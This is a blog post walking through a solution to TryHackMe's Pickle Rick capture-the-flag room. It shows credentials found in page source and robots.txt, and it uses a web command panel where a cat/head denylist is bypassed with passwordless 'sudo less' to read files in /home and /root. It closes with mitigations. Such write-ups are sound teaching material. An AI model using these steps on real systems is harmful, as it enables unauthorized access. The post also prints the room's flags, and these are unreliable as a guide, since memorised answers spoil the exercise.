DEV Community

Farhan Hussain
Farhan Hussain

Posted on

The Password Was the Entire Contents of robots.txt — Pickle Rick (TryHackMe)

#security #ctf #tryhackme #writeup

Platform: TryHackMe · Difficulty: Easy · Category: Command Panel Filter Bypass

Introduction

Pickle Rick is a Rick and Morty themed box where the scientist has, once again, turned himself into a pickle and needs Morty to recover three secret ingredients from his own computer. The machine is essentially a PHP web app wearing a cartoon costume, and it has the operational security of someone who tapes their password to the bottom of their keyboard and then writes a note about it on a sticky on the monitor. The lore is delightful. The security posture is not.

Recon

Full-range sweep with RustScan, Nmap handles service fingerprinting:

rustscan -a 10.49.134.98 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV
Enter fullscreen mode Exit fullscreen mode
Port Service Version
22/tcp SSH OpenSSH (version not recorded)
80/tcp HTTP Apache (Ubuntu)

Standard two-port target. The web server is where everything happens.

The homepage greets us with Rick's plea for help. One Ctrl+U later:

view-source:http://10.49.134.98/
Enter fullscreen mode Exit fullscreen mode 
<!--
  Note to self, remember username!
  Username: R1ckRul3s
-->
Enter fullscreen mode Exit fullscreen mode

Half the credentials, delivered in the first thirty seconds. Rick is his own worst enemy.

Checking the standard robots exclusion file:

http://10.49.134.98/robots.txt
Enter fullscreen mode Exit fullscreen mode 
Wubbalubbadubdub
Enter fullscreen mode Exit fullscreen mode

That's it. The entire file. No User-agent, no Disallow — just the password sitting there like it owns the place. robots.txt is not a security mechanism; it's a suggestion to search engine crawlers, and every attacker checks it within the first minute.

Username Password Where Found
R1ckRul3s Wubbalubbadubdub HTML comment / robots.txt

Feroxbuster with PHP, TXT, and HTML extensions:

feroxbuster -u http://10.49.134.98/ \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x php,txt,html
Enter fullscreen mode Exit fullscreen mode 
# output (relevant hits only)
200  http://10.49.134.98/login.php
302  http://10.49.134.98/portal.php  =>  login.php   # ^^^ redirects unauthenticated users
200  http://10.49.134.98/robots.txt
200  http://10.49.134.98/index.html
Enter fullscreen mode Exit fullscreen mode

portal.php redirects to login.php when unauthenticated — meaning there is a session gate, but we already have the key.

Foothold

Navigating to login.php and submitting R1ckRul3s / Wubbalubbadubdub drops us into portal.php — Rick's command and control panel, complete with a navigation bar for Commands, Potions, Creatures, and Beth Clone Notes. Everything except Commands redirects to denied.php:

Only the REAL rick can view this page..
Enter fullscreen mode Exit fullscreen mode

The Commands page, however, is fully functional. It's a text input that executes arbitrary system commands and returns the output directly in the browser. There's no authentication beyond the session cookie, and we're already authenticated.

Shell / Access

No reverse shell was needed for this challenge. The web command panel provided sufficient access to read all three ingredient files directly. In a real engagement this panel would be the first step toward establishing a proper reverse shell for persistent access.

Escalation

Escalation here is privilege-by-sudo-misconfiguration rather than a system-level exploit — see Exploitation below for the full command filter bypass that got from webroot access to /root/.

Exploitation — The Full Chain

Listing the contents of the web server's document root:

ls
Enter fullscreen mode Exit fullscreen mode 
Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt
Enter fullscreen mode Exit fullscreen mode

Two files of interest: Sup3rS3cretPickl3Ingred.txt (ingredient 1) and clue.txt.

Attempting the obvious:

cat Sup3rS3cretPickl3Ingred.txt
Enter fullscreen mode Exit fullscreen mode 
Command disabled to make it hard for future PICKLEEEE RICCCKKKK.
Enter fullscreen mode Exit fullscreen mode

cat is blacklisted. This is a denylist approach to command filtering — blocking specific command names rather than allowing only safe ones. Denylists are notoriously incomplete; Linux has dozens of ways to read a file.

sudo less works because the filter blocks cat by name, not by capability. less is a file pager, sudo elevates the execution — and crucially, the www-data user running the web server has been granted passwordless sudo access, which is its own separate misconfiguration.

sudo less Sup3rS3cretPickl3Ingred.txt
Enter fullscreen mode Exit fullscreen mode 
mr. meeseek hair
Enter fullscreen mode Exit fullscreen mode 
sudo less clue.txt
Enter fullscreen mode Exit fullscreen mode 
Look around the file system for the other ingredient.
Enter fullscreen mode Exit fullscreen mode 
ls /home
Enter fullscreen mode Exit fullscreen mode 
rick
ubuntu
Enter fullscreen mode Exit fullscreen mode 
ls /home/rick
Enter fullscreen mode Exit fullscreen mode 
second ingredients
Enter fullscreen mode Exit fullscreen mode

The filename has a space in it, which requires quoting when referenced as an argument.

sudo less /home/rick/"second ingredients"
Enter fullscreen mode Exit fullscreen mode 
1 jerry tear
Enter fullscreen mode Exit fullscreen mode

The www-data user has sudo access, which means it can read files in /root/ — a directory normally accessible only to root.

sudo ls /root
Enter fullscreen mode Exit fullscreen mode 
3rd.txt
snap
Enter fullscreen mode Exit fullscreen mode 
sudo less /root/3rd.txt
Enter fullscreen mode Exit fullscreen mode 
3rd ingredients: fleeb juice
Enter fullscreen mode Exit fullscreen mode

All three ingredients recovered.

Rabbit Holes

sudo head on the second ingredient. After discovering the filename, the first instinct was sudo head:

sudo head /home/rick/second ingredients
Enter fullscreen mode Exit fullscreen mode 
Command disabled to make it hard for future PICKLEEEE RICCCKKKK.
Enter fullscreen mode Exit fullscreen mode

head is also on the blocklist — same category of tool as cat. Switching to less resolved it immediately. This took an embarrassingly short time to figure out, but it's worth noting that any file-reading utility not on the denylist will work here.

Flags

Ingredient Value Location
1st ingredient mr. meeseek hair Sup3rS3cretPickl3Ingred.txt (webroot)
2nd ingredient 1 jerry tear /home/rick/second ingredients
3rd ingredient fleeb juice /root/3rd.txt

Mitigations

Vulnerability Severity Mitigation
Username hardcoded in HTML comment Medium Never store credentials or usernames in client-deliverable files; use server-side session management
Password stored in robots.txt Critical robots.txt is publicly readable — never store sensitive data there
Unauthenticated command execution panel Critical Remove or gate any command execution interface behind strong multi-factor authentication; ideally, don't expose one at all
cat/head denylist instead of allowlist High Allowlist-only approach: define exactly which commands are permitted rather than trying to block dangerous ones by name
www-data granted passwordless sudo Critical Web server processes should run with minimal privileges; never grant sudo to the web service account

Key Takeaway

A command filter is only as strong as its list is complete — blocking cat while leaving less, more, tail, strings, grep, awk, and a hundred other file-reading utilities open is not security, it's theatre. Always allowlist what's permitted rather than trying to denylist what isn't.

Room: TryHackMe — Pickle Rick

Top comments (0)